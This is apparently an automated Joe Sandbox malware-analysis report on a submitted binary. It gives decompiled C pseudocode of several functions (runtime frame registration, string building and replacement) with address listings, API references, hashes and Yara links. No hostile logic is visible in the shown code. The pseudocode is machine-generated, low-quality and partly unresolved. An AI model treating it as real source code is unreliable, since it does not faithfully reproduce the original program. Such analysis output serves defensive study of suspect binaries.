						_t63 = L003F9E00(_t84, _t80);
						_t58 =  *0x5130d0;
						__eflags = _t58;
						if(_t58 == 0) {
							_t74 = 0x5130d0;
							goto L23;
						} else {
							_t70 =  *_t84;
							while(1) {
								__eflags =  *_t58 - _t70;
								if( *_t58 < _t70) {
									break;
								}
								_t74 = _t58 + 0x14;
								_t58 =  *(_t58 + 0x14);
								__eflags = _t58;
								if(_t58 == 0) {
									L23:
									_a20 = _t58;
									 *_t74 = _t84;
									__eflags = _t63;
									if(_t63 == 0) {
										goto L24;
									}
								} else {
									continue;
								}
								goto L32;
							}
							_a20 = _t58;
							 *_t74 = _t84;
							__eflags = _t63;
							if(_t63 == 0) {
								continue;
							} else {
							}
						}
						L32:
						_t37 =  *0x4c3bd0; // 0x2
						__eflags = _t37;
						if(__eflags != 0) {
							asm("lock sub dword [0x5130c8], 0x1");
							if(__eflags >= 0) {
								_v68 = 0;
								_v72 = 1;
								 *_t87 =  *0x5130cc;
								ReleaseSemaphore(??, ??, ??);
								_t87 = _t87 - 0xc;
							}
						}
						__eflags = _t63;
						if(_t63 != 0) {
							L15:
							_t80 = _a4;
							_t71 = _a8;
							_t39 = (_a16 & 0x0000ffff) >> 3;
							 *_t78 = _t80;
							_t66 = _t39;
							 *((intOrPtr*)(_t78 + 4)) = _t71;
							_t40 = _t39 & 0x000000ff;
							__eflags = _a16 & 0x00000004;
							if((_a16 & 0x00000004) != 0) {
								_t26 =  &(_t63[4]); // 0x4
								_v48 = _t71;
								_t43 = E003F91E0(_t26 - _t63[4]);
								_t72 = _v48;
								_t66 = _t43;
								_t40 = _t43 & 0x000000ff;
							}
							_t15 =  &(_t63[8]); // 0x8
							_t82 = _t15;
							__eflags = _t66 - 0xff;
							if(_t66 == 0xff) {
								L36:
								_t72 = 0;
								goto L20;
							} else {
								_t69 = _t66 & 0x00000070;
								__eflags = _t69 - 0x20;
								if(__eflags == 0) {
									_t72 = _t80;
									goto L20;
								} else {
									if(__eflags <= 0) {
										goto L36;
									} else {
										__eflags = _t69 - 0x30;
										if(_t69 != 0x30) {
											__eflags = _t69 - 0x50;
											if(_t69 != 0x50) {
												abort();
												abort();
												abort();
												abort();
												_push(_t82);
												_push(_t78);
												_push(_t80);
												_t89 = _t87 - 0x1c;
												 *_t89 = "libgcc_s_dw2-1.dll";
												_t47 = GetModuleHandleA(_t63);
												_t90 = _t89 - 4;
												if(_t47 == 0) {
													_t48 = 0x3fae40;
													_t81 = E003FA660;
												} else {
													_t64 = _t47;
													 *_t90 = "libgcc_s_dw2-1.dll";
													_t51 = LoadLibraryA(??);
													_t92 = _t90 - 4;
													 *0x513020 = _t51;
													_v116 = "__register_frame_info";
													 *_t92 = _t64;
													_t52 = GetProcAddress(??, ??);
													_t93 = _t92 - 8;
													_t81 = _t52;
													_v116 = "__deregister_frame_info";
													 *_t93 = _t64;
													_t48 = GetProcAddress(??, ??);
													_t90 = _t93 - 8;
												}
												 *0x4a1004 = _t48;
												if(_t81 != 0) {
													_v116 = 0x513024;
													 *_t90 = 0x4d4104;
													 *_t81();
												}
												 *_t90 = 0x3e1560;
												return L003E14A0();
											} else {
												goto L36;
											}
										} else {
											L20:
											 *_t87 =  &_v32;
											E003F9050(_t40, _t82, _t72);
											 *((intOrPtr*)(_t78 + 8)) = _v32;
											goto L21;
										}
									}
								}
							}
						} else {
							L21:
							return _t63;
						}
						goto L58;
					}
					_t63 = 0;
					__eflags = 0;
					goto L32;
				}
				L58:
			}

0x003fae94
0x003fae97
0x003fae9c
0x003faea0
0x003faea6
0x003faea8
0x003faead
0x003faeaf
0x003fb04b
0x003fb053
0x003fb0e5
0x003fb0f0
0x003fb0f2
0x003fb0f8
0x003fb0ff
0x003fb101
0x003fb107
0x003fb10a
0x003fb10a
0x003fb10e
0x003fb059
0x003fb059
0x003fb082
0x003fb088
0x003fb092
0x003fb097
0x003fb097
0x003fb09a
0x003fb0a0
0x003fb0a2
0x00000000
0x003fb0a8
0x003faeb5
0x003faeb5
0x003faeb5
0x003faebd
0x003fb0b7
0x003fb0c7
0x003fb0cd
0x003fb0d0
0x003fb0d2
0x003fb0d8
0x003fb0d8
0x003fb0d2
0x003faebd
0x003faeaf
0x003faec3
0x003faec9
0x003faecb
0x003faee3
0x003faee3
0x003faee6
0x00000000
0x00000000
0x003faed8
0x003faedb
0x003faedd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003faedd
0x003faeec
0x003faef1
0x003faef3
0x003faef5
0x00000000
0x003faefb
0x003faefb
0x003faf01
0x003faf03
0x003fb110
0x003fb118
0x003fb123
0x003fb12b
0x003fb133
0x003fb136
0x003fb13c
0x003fb13c
0x003fb118
0x00000000
0x003faf03
0x003faecd
0x003faf89
0x003faf89
0x003faf89
0x003faf8f
0x003faf91
0x00000000
0x00000000
0x003faf98
0x003fafa4
0x003fafa6
0x003fafab
0x003fafad
0x003faf71
0x00000000
0x003fafaf
0x003fafaf
0x003fafca
0x003fafca
0x003fafcc
0x00000000
0x00000000
0x003fafc0
0x003fafc3
0x003fafc6
0x003fafc8
0x003faf80
0x003faf80
0x003faf83
0x003faf85
0x003faf87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003fafc8
0x003fafce
0x003fafd1
0x003fafd3
0x003fafd5
0x00000000
0x00000000
0x003fafd7
0x003fafd5
0x003fafdb
0x003fafdb
0x003fafe0
0x003fafe2
0x003fb001
0x003fb009
0x003fb010
0x003fb018
0x003fb020
0x003fb023
0x003fb029
0x003fb029
0x003fb009
0x003fafe4
0x003fafe6
0x003faf09
0x003faf0d
0x003faf10
0x003faf13
0x003faf17
0x003faf19
0x003faf1b
0x003faf1e
0x003faf21
0x003faf25
0x003fb02e
0x003fb034
0x003fb038
0x003fb03d
0x003fb041
0x003fb043
0x003fb043
0x003faf2b
0x003faf2b
0x003faf2e
0x003faf31
0x003faffa
0x003faffa
0x00000000
0x003faf37
0x003faf37
0x003faf3a
0x003faf3d
0x003fb0b0
0x00000000
0x003faf43
0x003faf43
0x00000000
0x003faf49
0x003faf49
0x003faf4c
0x003faff1
0x003faff4
0x0049aa67
0x0049aa6c
0x0049aa71
0x0049aa76
0x003e14c0
0x003e14c3
0x003e14c4
0x003e14c6
0x003e14c9
0x003e14d0
0x003e14d6
0x003e14db
0x003e1550
0x003e1555
0x003e14dd
0x003e14dd
0x003e14df
0x003e14e6
0x003e14f2
0x003e14f5
0x003e14fa
0x003e1502
0x003e1505
0x003e1507
0x003e150a
0x003e150c
0x003e1514
0x003e1517
0x003e1519
0x003e1519
0x003e151c
0x003e1523
0x003e1525
0x003e152d
0x003e1534
0x003e1534
0x003e1536
0x003e1549
0x00000000
0x00000000
0x00000000
0x003faf52
0x003faf52
0x003faf56
0x003faf5b
0x003faf64
0x00000000
0x003faf64
0x003faf4c
0x003faf43
0x003faf3d
0x003fafec
0x003faf67
0x003faf70
0x003faf70
0x00000000
0x003fafe6
0x003fafd9
0x003fafd9
0x00000000
0x003fafd9
0x00000000

APIs

CreateSemaphoreW.KERNEL32 ref: 003FB082
WaitForSingleObject.KERNEL32 ref: 003FB0C7

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 830afaf7e0a75ac55aaaece87f77793f666f0767318f31076ade7f0c3a46b970
Instruction ID: b6181e71f586100ba95e05c1a015cbd419f414a7a280e84e9a12dcf1b9d9661b
Opcode Fuzzy Hash: 830afaf7e0a75ac55aaaece87f77793f666f0767318f31076ade7f0c3a46b970
Instruction Fuzzy Hash: 4F61BDF820470A8FC711EF25D89477AB7E4BB54305F01C52DEA188B390EB34E948DB52

Uniqueness

Uniqueness Score: -1.00%

Function 004863D0 Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 0048646F
memmove.MSVCRT ref: 004864D3
memmove.MSVCRT ref: 0048650B
memcpy.MSVCRT ref: 0048657A

Strings

basic_string::_M_replace, xrefs: 004866FF

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: cbfa045c4b4f7cda98370ae78c55876379ff058b7ef02e0bc2baa2ca45b795e6
Instruction ID: 5121ae4267bd80424ff14ca251ed4991cb848466dbed04be8a644bafc7ab00f9
Opcode Fuzzy Hash: cbfa045c4b4f7cda98370ae78c55876379ff058b7ef02e0bc2baa2ca45b795e6
Instruction Fuzzy Hash: DA9108756083518FC754EF18C08042EBBE1BF89744F168D2EE8899B364E778E945DB8A

Uniqueness

Uniqueness Score: -1.00%

Function 004105D0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 211
stringCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E004105D0(signed int* __ecx, void* __eflags, intOrPtr* _a4) {
				void* _v16;
				char _v29;
				char* _v48;
				intOrPtr _v64;
				intOrPtr _v68;
				int _v72;
				char* _v76;
				void* __edi;
				void* __ebp;
				intOrPtr _t79;
				int _t88;
				intOrPtr* _t90;
				int _t91;
				signed int _t93;
				signed int _t96;
				int _t100;
				signed int _t102;
				signed int _t104;
				intOrPtr _t105;
				int _t106;
				signed int _t108;
				signed int _t111;
				int _t115;
				signed int _t118;
				signed int _t119;
				signed int _t121;
				signed int _t122;
				signed int _t123;
				signed int _t139;
				signed int _t141;
				char* _t143;
				intOrPtr _t146;
				char* _t147;
				signed int _t150;
				char** _t151;
				intOrPtr _t152;
				char* _t153;
				char* _t154;
				char* _t155;
				char* _t156;
				signed int _t157;
				intOrPtr _t158;
				char* _t159;
				char* _t160;
				void* _t161;
				void* _t162;
				void* _t163;
				void* _t164;
				intOrPtr* _t169;
				void* _t170;
				void* _t171;
				void* _t172;

				_t124 = __ecx;
				_t164 = _t163 - 0x3c;
				_t79 = E00458880(__eflags, 0, 0,  &_v29);
				 *((intOrPtr*)(__ecx)) = _t79;
				_t151 =  *( *_a4 + 0x10);
				_t143 =  *_t151;
				if(_t143 == 0) {
					_v64 = 0x2a;
					_v68 = 1;
					_v76 = 0;
					_v72 =  *((intOrPtr*)(_t79 - 0xc));
					E00458DA0(__ecx, _t162);
					return __ecx;
				} else {
					if(_t151[1] == 0) {
						L6:
						_v76 = _t143;
						_v48 = _t143;
						_v72 = strlen(??);
						_v76 = _v48;
						L00459970(_t124, _t151, _t162);
						return _t124;
					} else {
						_v48 = _t143;
						_t157 = 0;
						while(1) {
							_t157 = _t157 + 1;
							_t88 = strcmp( *(_t151 + _t157 * 4 - 4), _t151[_t157]);
							if(_t88 != 0) {
								break;
							}
							if(_t157 <= 4) {
								continue;
							} else {
								_t143 = _v48;
								if(_t88 != 0) {
									break;
								} else {
									goto L6;
								}
							}
							goto L29;
						}
						_v76 = 0x80;
						E0045A8F0(_t124);
						_t90 =  *0x4ce238; // 0x4ce160
						_t169 = _t164 - 4;
						_t158 =  *_t90;
						 *_t169 = _t158;
						_t91 = strlen(??);
						 *_t169 = _t158;
						_v76 = _t91;
						L004595B0(_t124);
						_t93 =  *_t124;
						_t170 = _t169 - 8;
						_t152 =  *((intOrPtr*)(_t93 - 0xc));
						_t159 = _t152 + 1;
						__eflags =  *((intOrPtr*)(_t93 - 8)) - _t159;
						if( *((intOrPtr*)(_t93 - 8)) < _t159) {
							L11:
							_v76 = _t159;
							E0045A8F0(_t124);
							_t170 = _t170 - 4;
						} else {
							_t150 =  *0x4c3bd0; // 0x2
							__eflags = _t150;
							if(_t150 != 0) {
								_t121 =  *(_t93 - 4);
								__eflags = _t121;
								_t122 = _t121 & 0xffffff00 | _t121 > 0x00000000;
							} else {
								_t123 =  *(_t93 - 4);
								__eflags = _t123;
								_t25 = _t123 > 0;
								__eflags = _t25;
								_t122 = _t123 & 0xffffff00 | _t25;
							}
							__eflags = _t122;
							if(_t122 != 0) {
								goto L11;
							}
						}
						 *((char*)( *_t124 +  *((intOrPtr*)( *_t124 - 0xc)))) = 0x3d;
						_t96 =  *_t124;
						 *((intOrPtr*)(_t96 - 0xc)) = _t159;
						 *((intOrPtr*)(_t96 - 4)) = 0;
						 *((char*)(_t96 + _t152 + 1)) = 0;
						_t160 =  *( *( *_a4 + 0x10));
						_t100 = strlen(_t160);
						_v76 = _t160;
						_v72 = _t100;
						L004595B0(_t124);
						_t171 = _t170 - 8;
						_t161 = 4;
						do {
							_t102 =  *_t124;
							_t146 =  *((intOrPtr*)(_t102 - 0xc));
							_t153 = _t146 + 1;
							__eflags =  *((intOrPtr*)(_t102 - 8)) - _t153;
							if( *((intOrPtr*)(_t102 - 8)) < _t153) {
								L16:
								_v76 = _t153;
								E0045A8F0(_t124);
								_t102 =  *_t124;
								_t171 = _t171 - 4;
								_t146 =  *((intOrPtr*)(_t102 - 0xc));
							} else {
								_t139 =  *0x4c3bd0; // 0x2
								__eflags = _t139;
								if(_t139 != 0) {
									__eflags =  *(_t102 - 4);
									if( *(_t102 - 4) > 0) {
										goto L16;
									} else {
										_t102 =  *_t124;
										_t146 =  *((intOrPtr*)(_t102 - 0xc));
										goto L17;
									}
									break;
								} else {
									__eflags =  *(_t102 - 4);
									if( *(_t102 - 4) > 0) {
										goto L16;
									}
								}
							}
							L17:
							 *((char*)(_t102 + _t146)) = 0x3b;
							_t104 =  *_t124;
							 *((intOrPtr*)(_t104 - 0xc)) = _t153;
							 *((intOrPtr*)(_t104 - 4)) = 0;
							 *((char*)(_t104 + _t153)) = 0;
							_t105 =  *0x4ce238; // 0x4ce160
							_t154 =  *(_t105 + _t161);
							_t106 = strlen(_t154);
							_v76 = _t154;
							_v72 = _t106;
							L004595B0(_t124);
							_t108 =  *_t124;
							_t172 = _t171 - 8;
							_t147 =  *((intOrPtr*)(_t108 - 0xc));
							_v48 = _t147;
							_t155 = _t147 + 1;
							__eflags =  *((intOrPtr*)(_t108 - 8)) - _t155;
							if( *((intOrPtr*)(_t108 - 8)) < _t155) {
								L21:
								_v76 = _t155;
								E0045A8F0(_t124);
								_t172 = _t172 - 4;
							} else {
								_t141 =  *0x4c3bd0; // 0x2
								__eflags = _t141;
								if(_t141 != 0) {
									_t118 =  *(_t108 - 4);
									__eflags = _t118;
									_t119 = _t118 & 0xffffff00 | _t118 > 0x00000000;
								} else {
									__eflags =  *(_t108 - 4);
									_t52 =  *(_t108 - 4) > 0;
									__eflags = _t52;
									_t119 = _t108 & 0xffffff00 | _t52;
								}
								__eflags = _t119;
								if(_t119 != 0) {
									goto L21;
								}
							}
							 *((char*)( *_t124 +  *((intOrPtr*)( *_t124 - 0xc)))) = 0x3d;
							_t111 =  *_t124;
							 *((intOrPtr*)(_t111 - 0xc)) = _t155;
							 *((intOrPtr*)(_t111 - 4)) = 0;
							( &(_v48[1]))[_t111] = 0;
							_t156 =  *( *( *_a4 + 0x10) + _t161);
							_t115 = strlen(_t156);
							_v76 = _t156;
							_v72 = _t115;
							L004595B0(_t124);
							_t161 = _t161 + 4;
							_t171 = _t172 - 8;
							__eflags = _t161 - 0x18;
						} while (_t161 != 0x18);
						return _t124;
					}
				}
				L29:
			}

0x004105d9
0x004105db
0x004105f1
0x004105f9
0x004105fd
0x00410600
0x00410604
0x00410850
0x0041085a
0x00410865
0x0041086c
0x00410870
0x00410881
0x0041060a
0x0041060f
0x00410646
0x00410646
0x00410649
0x00410653
0x0041065a
0x0041065d
0x0041066e
0x00410611
0x00410611
0x00410614
0x00410620
0x00410620
0x00410631
0x00410638
0x00000000
0x00000000
0x0041063d
0x00000000
0x0041063f
0x0041063f
0x00410644
0x00000000
0x00000000
0x00000000
0x00000000
0x00410644
0x00000000
0x0041063d
0x00410678
0x00410681
0x00410686
0x0041068b
0x0041068e
0x00410690
0x00410693
0x00410698
0x0041069d
0x004106a1
0x004106a6
0x004106a8
0x004106ab
0x004106ae
0x004106b1
0x004106b4
0x004106d0
0x004106d0
0x004106d5
0x004106da
0x004106b6
0x004106b6
0x004106bc
0x004106be
0x00410840
0x00410843
0x00410845
0x004106c4
0x004106c4
0x004106c7
0x004106c9
0x004106c9
0x004106c9
0x004106c9
0x004106cc
0x004106ce
0x00000000
0x00000000
0x004106ce
0x004106e2
0x004106e6
0x004106e8
0x004106eb
0x004106f2
0x004106ff
0x00410704
0x00410709
0x0041070e
0x00410712
0x00410717
0x0041071a
0x0041071f
0x0041071f
0x00410721
0x00410724
0x00410727
0x0041072a
0x00410741
0x00410741
0x00410746
0x0041074b
0x0041074d
0x00410750
0x0041072c
0x0041072c
0x00410732
0x00410734
0x0041082b
0x0041082d
0x00000000
0x00410833
0x00410833
0x00410835
0x00000000
0x00410835
0x00000000
0x0041073a
0x0041073d
0x0041073f
0x00000000
0x00000000
0x0041073f
0x00410734
0x00410753
0x00410753
0x00410757
0x00410759
0x0041075c
0x00410763
0x00410767
0x0041076c
0x00410772
0x00410777
0x0041077c
0x00410780
0x00410785
0x00410787
0x0041078a
0x0041078d
0x00410790
0x00410793
0x00410796
0x004107ae
0x004107ae
0x004107b3
0x004107b8
0x00410798
0x00410798
0x0041079e
0x004107a0
0x00410818
0x0041081b
0x0041081d
0x004107a2
0x004107a5
0x004107a7
0x004107a7
0x004107a7
0x004107a7
0x004107aa
0x004107ac
0x00000000
0x00000000
0x004107ac
0x004107c3
0x004107c7
0x004107c9
0x004107cc
0x004107d3
0x004107e0
0x004107e6
0x004107eb
0x004107f0
0x004107f4
0x004107f9
0x004107fc
0x004107ff
0x004107ff
0x00410811
0x00410811
0x0041060f
0x00000000

APIs

Part of subcall function 00458880: memset.MSVCRT ref: 004588C5

strcmp.MSVCRT ref: 00410631
strlen.MSVCRT ref: 0041064C
strlen.MSVCRT ref: 00410693
strlen.MSVCRT ref: 00410704
strlen.MSVCRT ref: 00410772

Strings

`L, xrefs: 00410686, 00410767
*, xrefs: 00410850

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlen$memsetstrcmp
String ID: *$`L
API String ID: 3639840916-2645671116
Opcode ID: 058300e581e17d97f1419574d6ec44bc7c56eb92b074521890eec66242282975
Instruction ID: 21f4c9bc39b09fad4ae5b275ef5fbd54173f0c10b213bae87e584bf4960244cc
Opcode Fuzzy Hash: 058300e581e17d97f1419574d6ec44bc7c56eb92b074521890eec66242282975
Instruction Fuzzy Hash: 9F8156B5A056008FDB00EF29C488A5EFBE5FF84304F01856EE8559B365D779E889CB86

Uniqueness

Uniqueness Score: -1.00%

Function 004810C0 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 432
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E004810C0(char* __ecx, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a16, intOrPtr* _a32) {
				intOrPtr* _v16;
				char _v29;
				intOrPtr* _v32;
				char _v44;
				char _v52;
				char _v56;
				intOrPtr _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t29;
				intOrPtr* _t30;
				intOrPtr* _t32;
				intOrPtr _t33;
				void* _t34;
				void* _t35;
				void* _t37;
				void* _t39;
				void* _t41;
				void* _t43;
				void* _t45;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;
				void* _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				void* _t61;
				void* _t63;
				void* _t65;
				void* _t67;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;
				void* _t74;
				void* _t75;
				void* _t77;
				void* _t79;
				void* _t81;
				void* _t83;
				void* _t85;
				void* _t87;
				void* _t89;
				void* _t91;
				void* _t93;
				void* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t104;
				void* _t105;
				intOrPtr* _t110;
				intOrPtr* _t112;
				intOrPtr* _t114;
				intOrPtr* _t116;
				intOrPtr* _t118;
				intOrPtr* _t120;
				intOrPtr* _t122;
				intOrPtr* _t124;
				void* _t125;
				void* _t126;
				void* _t129;
				void* _t130;
				void* _t131;
				void* _t132;
				void* _t135;
				intOrPtr _t136;
				void* _t137;
				void* _t138;
				intOrPtr _t140;
				intOrPtr _t141;
				intOrPtr* _t142;
				intOrPtr* _t145;
				intOrPtr* _t190;
				intOrPtr _t191;
				intOrPtr* _t193;
				intOrPtr _t195;
				intOrPtr _t196;
				void* _t197;
				intOrPtr* _t198;
				char** _t199;

				_t146 = __ecx;
				_t196 = _a4;
				_t145 = _a8;
				E0047E4B0();
				_t29 = L00405A10();
				_t195 =  *0x4c3bd0; // 0x2
				_v56 = _t29;
				if(_t195 != 0) {
					 *_t198 = _t29;
					_t30 = E003F6490(__eflags);
					__eflags = _t30;
					if(_t30 != 0) {
						L004075D0();
						L16:
						 *_t198 = 4;
						_t32 = L00497A00(_t145, _t196);
						 *_t32 = 0x4d1c5c;
						_v68 = 0x4073d0;
						_v72 = 0x4ce7b4;
						 *_t198 = _t32;
						_t33 = L00497F00(_t146, _t191, _t195, _t196, _t197);
						_t192 = _t191 + 1;
						__eflags = _t191 + 1;
						 *_t198 = _t33;
						if(_t191 + 1 == 0) {
							L00497B30();
							_t14 =  &_v56; // -50
							_t135 = L00405E10(_t145, _t14, _t195, _t196, _t197);
							 *_t198 = _t145;
							_t33 = E003F8C90(_t135, _t145, _t192, _t195, _t196);
						}
						_t34 = E003F8C90(_t33, _t145, _t192, _t195, _t196);
						_t35 = E004810B0(_t34);
						 *_t198 = _t196;
						_t37 = E004810B0(E003F8C90(_t35, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t39 = E004810B0(E003F8C90(_t37, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						_t41 = E004810B0(E003F8C90(_t39, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t43 = E004810B0(E003F8C90(_t41, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						_t45 = E004810B0(E003F8C90(_t43, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t47 = E004810B0(E003F8C90(_t45, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						_t49 = E004810B0(E003F8C90(_t47, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t50 = E003F8C90(_t49, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						_t51 = E004810B0(_t50);
						 *_t198 = _t195;
						_t52 = E003F8C90(_t51, _t145, _t192, _t195, _t196);
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t53 = E003F8C90(_t52, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						_t54 = E004810B0(_t53);
						 *_t198 = _t195;
						_t55 = E003F8C90(_t54, _t145, _t192, _t195, _t196);
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t56 = E003F8C90(_t55, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						_t57 = E004810B0(_t56);
						 *_t198 = _t195;
						_t58 = E003F8C90(_t57, _t145, _t192, _t195, _t196);
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t59 = E003F8C90(_t58, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						_t60 = E004810B0(_t59);
						 *_t198 = _t195;
						_t61 = E003F8C90(_t60, _t145, _t192, _t195, _t196);
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t63 = E004810B0(E003F8C90(_t61, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						_t65 = E004810B0(E003F8C90(_t63, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t67 = E004810B0(E003F8C90(_t65, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						_t69 = E004810B0(E003F8C90(_t67, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t70 = E003F8C90(_t69, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						_t71 = E004810B0(_t70);
						 *_t198 = _t195;
						_t72 = E003F8C90(_t71, _t145, _t192, _t195, _t196);
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t73 = E003F8C90(_t72, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						_t74 = E004810B0(_t73);
						 *_t198 = _t195;
						_t75 = E003F8C90(_t74, _t145, _t192, _t195, _t196);
						 *_t198 = _t145;
						L00497910();
						 *_t198 = _t196;
						_t77 = E004810B0(E003F8C90(_t75, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t79 = E004810B0(E003F8C90(_t77, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t81 = E004810B0(E003F8C90(_t79, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t83 = E004810B0(E003F8C90(_t81, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t85 = E004810B0(E003F8C90(_t83, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t87 = E004810B0(E003F8C90(_t85, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t89 = E004810B0(E003F8C90(_t87, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t91 = E004810B0(E003F8C90(_t89, _t145, _t192, _t195, _t196));
						 *_t198 = _t145;
						_t93 = E004810B0(E003F8C90(_t91, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						_t95 = E004810B0(E003F8C90(_t93, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						_t97 = E004810B0(E003F8C90(_t95, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						_t98 = E003F8C90(_t97, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						_t100 = E004810B0(E003F8C90(_t98, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						_t102 = E004810B0(E003F8C90(_t100, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						_t104 = E004810B0(E003F8C90(_t102, _t145, _t192, _t195, _t196));
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						_t105 = E003F8C90(_t104, _t145, _t192, _t195, _t196);
						 *_t198 = _t196;
						L00497910();
						 *_t198 = _t145;
						E003F8C90(_t105, _t145, _t192, _t195, _t196);
						_t15 =  &_v29; // -23
						 *_t198 = _t15;
						__eflags =  *_t145 - 0xc;
						_push(E00458FF0( *_t145 - 0xc));
						 *_t198 = _t196;
						E003F8C90(_t108, _t145, _t192, _t195, _t196);
						_t110 = _v16;
						__eflags = _t110;
						if(_t110 != 0) {
							 *_t198 = _t196;
							_t110 =  *_t110();
						}
						 *_t198 = _t145;
						E003F8C90(_t110, _t145, _t192, _t195, _t196);
